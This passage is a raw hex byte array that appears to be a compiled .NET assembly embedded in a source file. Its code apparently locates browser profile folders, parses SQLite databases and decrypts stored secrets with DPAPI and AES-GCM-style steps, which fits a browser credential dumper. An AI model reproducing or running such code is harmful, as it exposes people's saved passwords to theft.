0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x86, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x92, 0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xB2, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xCA, 0x0A, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xF6, 0x0A, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x04, 0x0B, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x26, 0x0B, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x34, 0x0B, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x66, 0x0B, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x88, 0x0B, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xBE, 0x0B, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE8, 0x0B, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x26, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x34, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x56, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x66, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x8A, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x9A, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xCE, 0x0C, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE2, 0x0C, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x14, 0x0D, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x24, 0x0D, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x48, 0x0D, 0x00, 0x70, 0x7E, 0x14, 0x00, 0x00, 0x04, 0x72, 0x5E, 0x0D, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC6, 0x0D, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xD4, 0x0D, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x12, 0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x20, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x50, 0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x6E, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x90, 0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xA2, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0xC8, 0x0E, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0xE4, 0x0E, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x25, 0x72, 0x16, 0x0F, 0x00, 0x70, 0x7E, 0x13, 0x00, 0x00, 0x04, 0x72, 0x26, 0x0F, 0x00, 0x70, 0x28, 0x28, 0x00, 0x00, 0x0A, 0x6F, 0x27, 0x00, 0x00, 0x0A, 0x73, 0x29, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x2A, 0x00, 0x00, 0x0A, 0x0B, 0x2B, 0x26, 0x12, 0x01, 0x28, 0x2B, 0x00, 0x00, 0x0A, 0x0C, 0x06, 0x12, 0x02, 0x28, 0x2C, 0x00, 0x00, 0x0A, 0x12, 0x02, 0x28, 0x2D, 0x00, 0x00, 0x0A, 0x72, 0x54, 0x0F, 0x00, 0x70, 0x28, 0x1D, 0x00, 0x00, 0x06, 0x6F, 0x2E, 0x00, 0x00, 0x0A, 0x12, 0x01, 0x28, 0x2F, 0x00, 0x00, 0x0A, 0x2D, 0xD1, 0xDE, 0x0E, 0x12, 0x01, 0xFE, 0x16, 0x06, 0x00, 0x00, 0x1B, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x06, 0x2A, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0xED, 0x03, 0x33, 0x20, 0x04, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x04, 0x00, 0x7D, 0x01, 0x00, 0x00, 0x09, 0x00, 0x00, 0x11, 0x02, 0x28, 0x1E, 0x00, 0x00, 0x06, 0x73, 0x29, 0x00, 0x00, 0x0A, 0x0A, 0x6F, 0x30, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x38, 0x59, 0x01, 0x00, 0x00, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x28, 0x31, 0x00, 0x00, 0x0A, 0x39, 0x46, 0x01, 0x00, 0x00, 0x00, 0x09, 0x73, 0x26, 0x00, 0x00, 0x06, 0x13, 0x04, 0xDE, 0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0xDD, 0x2C, 0x01, 0x00, 0x00, 0x11, 0x04, 0x04, 0x6F, 0x30, 0x00, 0x00, 0x06, 0x39, 0x1F, 0x01, 0x00, 0x00, 0x16, 0x13, 0x05, 0x38, 0x07, 0x01, 0x00, 0x00, 0x00, 0x11, 0x04, 0x11, 0x05, 0x72, 0x62, 0x0F, 0x00, 0x70, 0x6F, 0x2C, 0x00, 0x00, 0x06, 0x13, 0x06, 0x11, 0x04, 0x11, 0x05, 0x72, 0x78, 0x0F, 0x00, 0x70, 0x6F, 0x2C, 0x00, 0x00, 0x06, 0x13, 0x07, 0x11, 0x04, 0x11, 0x05, 0x72, 0x96, 0x0F, 0x00, 0x70, 0x6F, 0x2C, 0x00, 0x00, 0x06, 0x13, 0x08, 0x11, 0x08, 0x2C, 0x77, 0x11, 0x08, 0x72, 0xB4, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2D, 0x2A, 0x11, 0x08, 0x72, 0xBC, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2D, 0x1C, 0x11, 0x08, 0x72, 0xC4, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2D, 0x0E, 0x11, 0x08, 0x72, 0xD4, 0x0F, 0x00, 0x70, 0x6F, 0x34, 0x00, 0x00, 0x0A, 0x2C, 0x34, 0x09, 0x28, 0x35, 0x00, 0x00, 0x0A, 0x6F, 0x36, 0x00, 0x00, 0x0A, 0x6F, 0x37, 0x00, 0x00, 0x0A, 0x28, 0x20, 0x00, 0x00, 0x06, 0x13, 0x09, 0x11, 0x09, 0x2D, 0x02, 0xDE, 0x77, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x11, 0x08, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x11, 0x09, 0x28, 0x1F, 0x00, 0x00, 0x06, 0x13, 0x08, 0x2B, 0x0D, 0x11, 0x08, 0x28, 0x21, 0x00, 0x00, 0x06, 0x13, 0x08, 0x2B, 0x02, 0xDE, 0x53, 0x11, 0x06, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x2D, 0x3C, 0x11, 0x07, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x2D, 0x33, 0x11, 0x08, 0x28, 0x38, 0x00, 0x00, 0x0A, 0x2D, 0x2A, 0x06, 0x73, 0x0B, 0x00, 0x00, 0x06, 0x25, 0x11, 0x06, 0x6F, 0x08, 0x00, 0x00, 0x06, 0x25, 0x11, 0x07, 0x6F, 0x04, 0x00, 0x00, 0x06, 0x25, 0x11, 0x08, 0x6F, 0x06, 0x00, 0x00, 0x06, 0x25, 0x03, 0x6F, 0x0A, 0x00, 0x00, 0x06, 0x6F, 0x39, 0x00, 0x00, 0x0A, 0xDE, 0x0C, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0xDE, 0x00, 0x11, 0x05, 0x17, 0x58, 0x13, 0x05, 0x11, 0x05, 0x11, 0x04, 0x6F, 0x29, 0x00, 0x00, 0x06, 0x17, 0x59, 0x3E, 0xE9, 0xFE, 0xFF, 0xFF, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x3F, 0x9E, 0xFE, 0xFF, 0xFF, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x0A, 0x33, 0x00, 0x0F, 0x19, 0x00, 0x00, 0x01, 0x00, 0x00, 0x58, 0x00, 0xF4, 0x4C, 0x01, 0x0C, 0x19, 0x00, 0x00, 0x01, 0x13, 0x30, 0x04, 0x00, 0xAD, 0x00, 0x00, 0x00, 0x0A, 0x00, 0x00, 0x11, 0x73, 0x3A, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0xDC, 0x0F, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x04, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x2E, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x66, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x7E, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x25, 0x02, 0x72, 0x98, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x0A, 0x02, 0x28, 0x3C, 0x00, 0x00, 0x0A, 0x2C, 0x37, 0x02, 0x28, 0x3D, 0x00, 0x00, 0x0A, 0x0B, 0x16, 0x0C, 0x2B, 0x26, 0x07, 0x08, 0x9A, 0x0D, 0x09, 0x72, 0xC0, 0x10, 0x00, 0x70, 0x6F, 0x3E, 0x00, 0x00, 0x0A, 0x2C, 0x11, 0x06, 0x09, 0x72, 0x66, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x6F, 0x3B, 0x00, 0x00, 0x0A, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x8E, 0x69, 0x32, 0xD4, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x1B, 0x30, 0x07, 0x00, 0x97, 0x00, 0x00, 0x00, 0x0B, 0x00, 0x00, 0x11, 0x1F, 0x0C, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0A, 0x02, 0x19, 0x06, 0x16, 0x1F, 0x0C, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x02, 0x8E, 0x69, 0x1F, 0x0F, 0x59, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x02, 0x1F, 0x0F, 0x07, 0x16, 0x02, 0x8E, 0x69, 0x1F, 0x0F, 0x59, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x1F, 0x10, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0C, 0x07, 0x8E, 0x69, 0x08, 0x8E, 0x69, 0x59, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0D, 0x07, 0x07, 0x8E, 0x69, 0x1F, 0x10, 0x59, 0x08, 0x16, 0x1F, 0x10, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x07, 0x16, 0x09, 0x16, 0x07, 0x8E, 0x69, 0x08, 0x8E, 0x69, 0x59, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x73, 0x12, 0x00, 0x00, 0x06, 0x13, 0x04, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x11, 0x04, 0x03, 0x06, 0x14, 0x09, 0x08, 0x6F, 0x0C, 0x00, 0x00, 0x06, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0x13, 0x05, 0xDE, 0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x14, 0x13, 0x05, 0xDE, 0x00, 0x11, 0x05, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x72, 0x85, 0x00, 0x0F, 0x19, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x06, 0x00, 0xBE, 0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x11, 0x02, 0x72, 0xD0, 0x10, 0x00, 0x70, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x0A, 0x16, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0B, 0x06, 0x28, 0x31, 0x00, 0x00, 0x0A, 0x2D, 0x02, 0x14, 0x2A, 0x72, 0xEA, 0x10, 0x00, 0x70, 0x1E, 0x73, 0x40, 0x00, 0x00, 0x0A, 0x06, 0x28, 0x41, 0x00, 0x00, 0x0A, 0x28, 0x42, 0x00, 0x00, 0x0A, 0x6F, 0x43, 0x00, 0x00, 0x0A, 0x0D, 0x2B, 0x2E, 0x09, 0x6F, 0x44, 0x00, 0x00, 0x0A, 0x74, 0x1B, 0x00, 0x00, 0x01, 0x13, 0x04, 0x11, 0x04, 0x6F, 0x45, 0x00, 0x00, 0x0A, 0x2C, 0x18, 0x11, 0x04, 0x6F, 0x46, 0x00, 0x00, 0x0A, 0x17, 0x6F, 0x47, 0x00, 0x00, 0x0A, 0x6F, 0x48, 0x00, 0x00, 0x0A, 0x28, 0x49, 0x00, 0x00, 0x0A, 0x0B, 0x09, 0x6F, 0x4A, 0x00, 0x00, 0x0A, 0x2D, 0xCA, 0xDE, 0x14, 0x09, 0x75, 0x15, 0x00, 0x00, 0x01, 0x13, 0x05, 0x11, 0x05, 0x2C, 0x07, 0x11, 0x05, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x07, 0x8E, 0x69, 0x1B, 0x59, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0C, 0x07, 0x1B, 0x08, 0x16, 0x07, 0x8E, 0x69, 0x1B, 0x59, 0x28, 0x3F, 0x00, 0x00, 0x0A, 0x08, 0x14, 0x16, 0x28, 0x4B, 0x00, 0x00, 0x0A, 0x13, 0x06, 0xDE, 0x0F, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x14, 0x13, 0x06, 0xDE, 0x00, 0x11, 0x06, 0x2A, 0x00, 0x00, 0x01, 0x1C, 0x00, 0x00, 0x02, 0x00, 0x39, 0x00, 0x3A, 0x73, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x0C, 0xAC, 0x00, 0x0F, 0x19, 0x00, 0x00, 0x01, 0x1B, 0x30, 0x04, 0x00, 0x3D, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x11, 0x02, 0x2C, 0x08, 0x02, 0x6F, 0x4C, 0x00, 0x00, 0x0A, 0x2D, 0x02, 0x14, 0x2A, 0x00, 0x28, 0x14, 0x00, 0x00, 0x0A, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x02, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x14, 0x16, 0x28, 0x4B, 0x00, 0x00, 0x0A, 0x6F, 0x17, 0x00, 0x00, 0x0A, 0x0A, 0xDE, 0x0E, 0x6F, 0x32, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x14, 0x0A, 0xDE, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x01, 0x10, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x1F, 0x2D, 0x00, 0x0E, 0x19, 0x00, 0x00, 0x01, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x66, 0x1F, 0x1C, 0x28, 0x4D, 0x00, 0x00, 0x0A, 0x80, 0x13, 0x00, 0x00, 0x04, 0x1F, 0x1A, 0x28, 0x4D, 0x00, 0x00, 0x0A, 0x80, 0x14, 0x00, 0x00, 0x04, 0x2A, 0x00, 0x00, 0x1B, 0x30, 0x02, 0x00, 0x93, 0x00, 0x00, 0x00, 0x0E, 0x00, 0x00, 0x11, 0x28, 0x1C, 0x00, 0x00, 0x06, 0x6F, 0x12, 0x00, 0x00, 0x0A, 0x0A, 0x2B, 0x66, 0x12, 0x00, 0x28, 0x13, 0x00, 0x00, 0x0A, 0x0B, 0x72, 0x1A, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x07, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x26, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x03, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x3C, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x05, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x52, 0x11, 0x00, 0x70, 0x07, 0x6F, 0x09, 0x00, 0x00, 0x06, 0x28, 0x26, 0x00, 0x00, 0x0A, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x72, 0x6E, 0x11, 0x00, 0x70, 0x28, 0x33, 0x00, 0x00, 0x0A, 0x12, 0x00, 0x28, 0x19, 0x00, 0x00, 0x0A, 0x2D, 0x91, 0xDE, 0x0E, 0x12, 0x00, 0xFE, 0x16, 0x03, 0x00, 0x00, 0x1B, 0x6F, 0x1A, 0x00, 0x00, 0x0A, 0xDC, 0x28, 0x4E, 0x00, 0x00, 0x0A, 0x26, 0x2A, 0x00, 0x01, 0x10, 0x00, 0x00, 0x02, 0x00, 0x0B, 0x00, 0x73, 0x7E, 0x00, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x2A, 0x13, 0x30, 0x06, 0x00, 0xF5, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x11, 0x02, 0x1F, 0x0A, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x25, 0xD0, 0x1C, 0x00, 0x00, 0x04, 0x28, 0x4F, 0x00, 0x00, 0x0A, 0x7D, 0x1A, 0x00, 0x00, 0x04, 0x02, 0x28, 0x1B, 0x00, 0x00, 0x0A, 0x03, 0x28, 0x31, 0x00, 0x00, 0x0A, 0x39, 0xCB, 0x00, 0x00, 0x00, 0x17, 0x03, 0x1F, 0x20, 0x17, 0x19, 0x15, 0x28, 0x50, 0x00, 0x00, 0x0A, 0x17, 0x28, 0x51, 0x00, 0x00, 0x0A, 0x69, 0x28, 0x52, 0x00, 0x00, 0x0A, 0x0A, 0x17, 0x12, 0x00, 0x15, 0x6A, 0x16, 0x28, 0x53, 0x00, 0x00, 0x0A, 0x17, 0x8D, 0x41, 0x00, 0x00, 0x01, 0x25, 0x16, 0x17, 0x9E, 0x28, 0x54, 0x00, 0x00, 0x0A, 0x02, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x06, 0x6F, 0x16, 0x00, 0x00, 0x0A, 0x7D, 0x15, 0x00, 0x00, 0x04, 0x28, 0x15, 0x00, 0x00, 0x0A, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x16, 0x1F, 0x0F, 0x6F, 0x55, 0x00, 0x00, 0x0A, 0x72, 0xAA, 0x11, 0x00, 0x70, 0x6F, 0x56, 0x00, 0x00, 0x0A, 0x2C, 0x0B, 0x72, 0xCA, 0x11, 0x00, 0x70, 0x73, 0x57, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x1F, 0x34, 0x91, 0x2C, 0x0B, 0x72, 0x10, 0x12, 0x00, 0x70, 0x73, 0x57, 0x00, 0x00, 0x0A, 0x7A, 0x02, 0x02, 0x1F, 0x10, 0x18, 0x28, 0x27, 0x00, 0x00, 0x06, 0xD1, 0x7D, 0x19, 0x00, 0x00, 0x04, 0x02, 0x02, 0x1F, 0x38, 0x1A, 0x28, 0x27, 0x00, 0x00, 0x06, 0x7D, 0x16, 0x00, 0x00, 0x04, 0x02, 0x7B, 0x16, 0x00, 0x00, 0x04, 0x73, 0x58, 0x00, 0x00, 0x0A, 0x7E, 0x59, 0x00, 0x00, 0x0A, 0x28, 0x5A, 0x00, 0x00, 0x0A, 0x2D, 0x08, 0x02, 0x17, 0x6A, 0x7D, 0x16, 0x00, 0x00, 0x04, 0x02, 0x1F, 0x64, 0x6A, 0x28, 0x2F, 0x00, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0x33, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x00, 0x11, 0x04, 0x1E, 0xFE, 0x02, 0x04, 0x16, 0xFE, 0x01, 0x60, 0x2C, 0x03, 0x16, 0x6A, 0x2A, 0x16, 0x6A, 0x0A, 0x04, 0x17, 0x59, 0x0B, 0x16, 0x0C, 0x2B, 0x14, 0x06, 0x1E, 0x62, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x03, 0x08, 0x58, 0x91, 0x6E, 0x60, 0x0A, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x31, 0xE8, 0x06, 0x2A, 0x00, 0x13, 0x30, 0x06, 0x00, 0xFB, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x11, 0x04, 0x17, 0x58, 0x10, 0x02, 0x1E, 0x8D, 0x1E, 0x00, 0x00, 0x01, 0x0A, 0x04, 0x03, 0x59, 0x0B, 0x16, 0x0C, 0x07, 0x16, 0xFE, 0x01, 0x07, 0x1F, 0x09, 0xFE, 0x02, 0x60, 0x2C, 0x03, 0x16, 0x6A, 0x2A, 0x07, 0x17, 0x33, 0x17, 0x06, 0x16, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x03, 0x91, 0x1F, 0x7F, 0x5F, 0xD2, 0x9C, 0x06, 0x16, 0x28, 0x5B, 0x00, 0x00, 0x0A, 0x2A, 0x07, 0x1F, 0x09, 0x33, 0x02, 0x17, 0x0C, 0x17, 0x0D, 0x1D, 0x13, 0x04, 0x16, 0x13, 0x05, 0x08, 0x2C, 0x15, 0x06, 0x16, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x04, 0x17, 0x59, 0x91, 0x9C, 0x04, 0x17, 0x59, 0x10, 0x02, 0x17, 0x13, 0x05, 0x03, 0x13, 0x06, 0x04, 0x17, 0x59, 0x13, 0x07, 0x2B, 0x7D, 0x11, 0x07, 0x17, 0x59, 0x03, 0x32, 0x4A, 0x06, 0x11, 0x05, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x11, 0x07, 0x91, 0x09, 0x17, 0x59, 0x1D, 0x5F, 0x1F, 0x1F, 0x5F, 0x63, 0xD2, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x09, 0x1F, 0x1F, 0x5F, 0x63, 0x5F, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x11, 0x07, 0x17, 0x59, 0x91, 0x11, 0x04, 0x1D, 0x5F, 0x1F, 0x1F, 0x5F, 0x62, 0xD2, 0x60, 0xD2, 0x9C, 0x09, 0x17, 0x58, 0x0D, 0x11, 0x05, 0x17, 0x58, 0x13, 0x05, 0x11, 0x04, 0x17, 0x59, 0x13, 0x04, 0x2B, 0x26, 0x08, 0x2D, 0x23, 0x06, 0x11, 0x05, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x11, 0x07, 0x91, 0x09, 0x17, 0x59, 0x1D, 0x5F, 0x1F, 0x1F, 0x5F, 0x63, 0xD2, 0x20, 0xFF, 0x00, 0x00, 0x00, 0x09, 0x1F, 0x1F, 0x5F, 0x63, 0x5F, 0xD2, 0x9C, 0x11, 0x07, 0x15, 0x58, 0x13, 0x07, 0x11, 0x07, 0x11, 0x06, 0x3C, 0x7A, 0xFF, 0xFF, 0xFF, 0x06, 0x16, 0x28, 0x5B, 0x00, 0x00, 0x0A, 0x2A, 0x26, 0x02, 0x7B, 0x1B, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x2A, 0x00, 0x00, 0x00, 0x13, 0x30, 0x04, 0x00, 0x66, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x11, 0x14, 0x0A, 0x16, 0x0B, 0x02, 0x7B, 0x18, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x17, 0x59, 0x0C, 0x16, 0x0D, 0x2B, 0x4D, 0x02, 0x7B, 0x18, 0x00, 0x00, 0x04, 0x09, 0x8F, 0x0F, 0x00, 0x00, 0x02, 0x7B, 0x35, 0x00, 0x00, 0x04, 0x72, 0x6C, 0x12, 0x00, 0x70, 0x28, 0x5C, 0x00, 0x00, 0x0A, 0x2C, 0x2C, 0x06, 0x07, 0x17, 0x58, 0x8D, 0x20, 0x00, 0x00, 0x01, 0x28, 0x5D, 0x00, 0x00, 0x0A, 0x74, 0x09, 0x00, 0x00, 0x1B, 0x0A, 0x06, 0x07, 0x02, 0x7B, 0x18, 0x00, 0x00, 0x04, 0x09, 0x8F, 0x0F, 0x00, 0x00, 0x02, 0x7B, 0x36, 0x00, 0x00, 0x04, 0xA2, 0x07, 0x17, 0x58, 0x0B, 0x09, 0x17, 0x58, 0x0D, 0x09, 0x08, 0x31, 0xAF, 0x06, 0x2A, 0xE6, 0x03, 0x02, 0x7B, 0x1B, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x32, 0x02, 0x14, 0x2A, 0x04, 0x02, 0x7B, 0x1B, 0x00, 0x00, 0x04, 0x03, 0x8F, 0x10, 0x00, 0x00, 0x02, 0x7B, 0x3B, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x32, 0x02, 0x14, 0x2A, 0x02, 0x7B, 0x1B, 0x00, 0x00, 0x04, 0x03, 0x8F, 0x10, 0x00, 0x00, 0x02, 0x7B, 0x3B, 0x00, 0x00, 0x04, 0x04, 0x9A, 0x2A, 0x13, 0x30, 0x03, 0x00, 0x46, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x11, 0x15, 0x0A, 0x02, 0x7B, 0x17, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x17, 0x59, 0x0B, 0x16, 0x0C, 0x2B, 0x22, 0x02, 0x7B, 0x17, 0x00, 0x00, 0x04, 0x08, 0x9A, 0x6F, 0x5E, 0x00, 0x00, 0x0A, 0x04, 0x6F, 0x5E, 0x00, 0x00, 0x0A, 0x6F, 0x56, 0x00, 0x00, 0x0A, 0x2D, 0x04, 0x08, 0x0A, 0x2B, 0x08, 0x08, 0x17, 0x58, 0x0C, 0x08, 0x07, 0x31, 0xDA, 0x06, 0x15, 0x33, 0x02, 0x14, 0x2A, 0x02, 0x03, 0x06, 0x28, 0x2B, 0x00, 0x00, 0x06, 0x2A, 0x00, 0x00, 0x13, 0x30, 0x03, 0x00, 0x47, 0x00, 0x00, 0x00, 0x13, 0x00, 0x00, 0x11, 0x03, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x31, 0x02, 0x16, 0x2A, 0x03, 0x1E, 0x58, 0x0A, 0x03, 0x0B, 0x2B, 0x2A, 0x07, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x8E, 0x69, 0x17, 0x59, 0x31, 0x02, 0x16, 0x2A, 0x02, 0x7B, 0x15, 0x00, 0x00, 0x04, 0x07, 0x91, 0x20, 0x80, 0x00, 0x00, 0x00, 0x5F, 0x20, 0x80, 0x00, 0x00, 0x00, 0x2E, 0x02, 0x07, 0x2A, 0x07, 0x17, 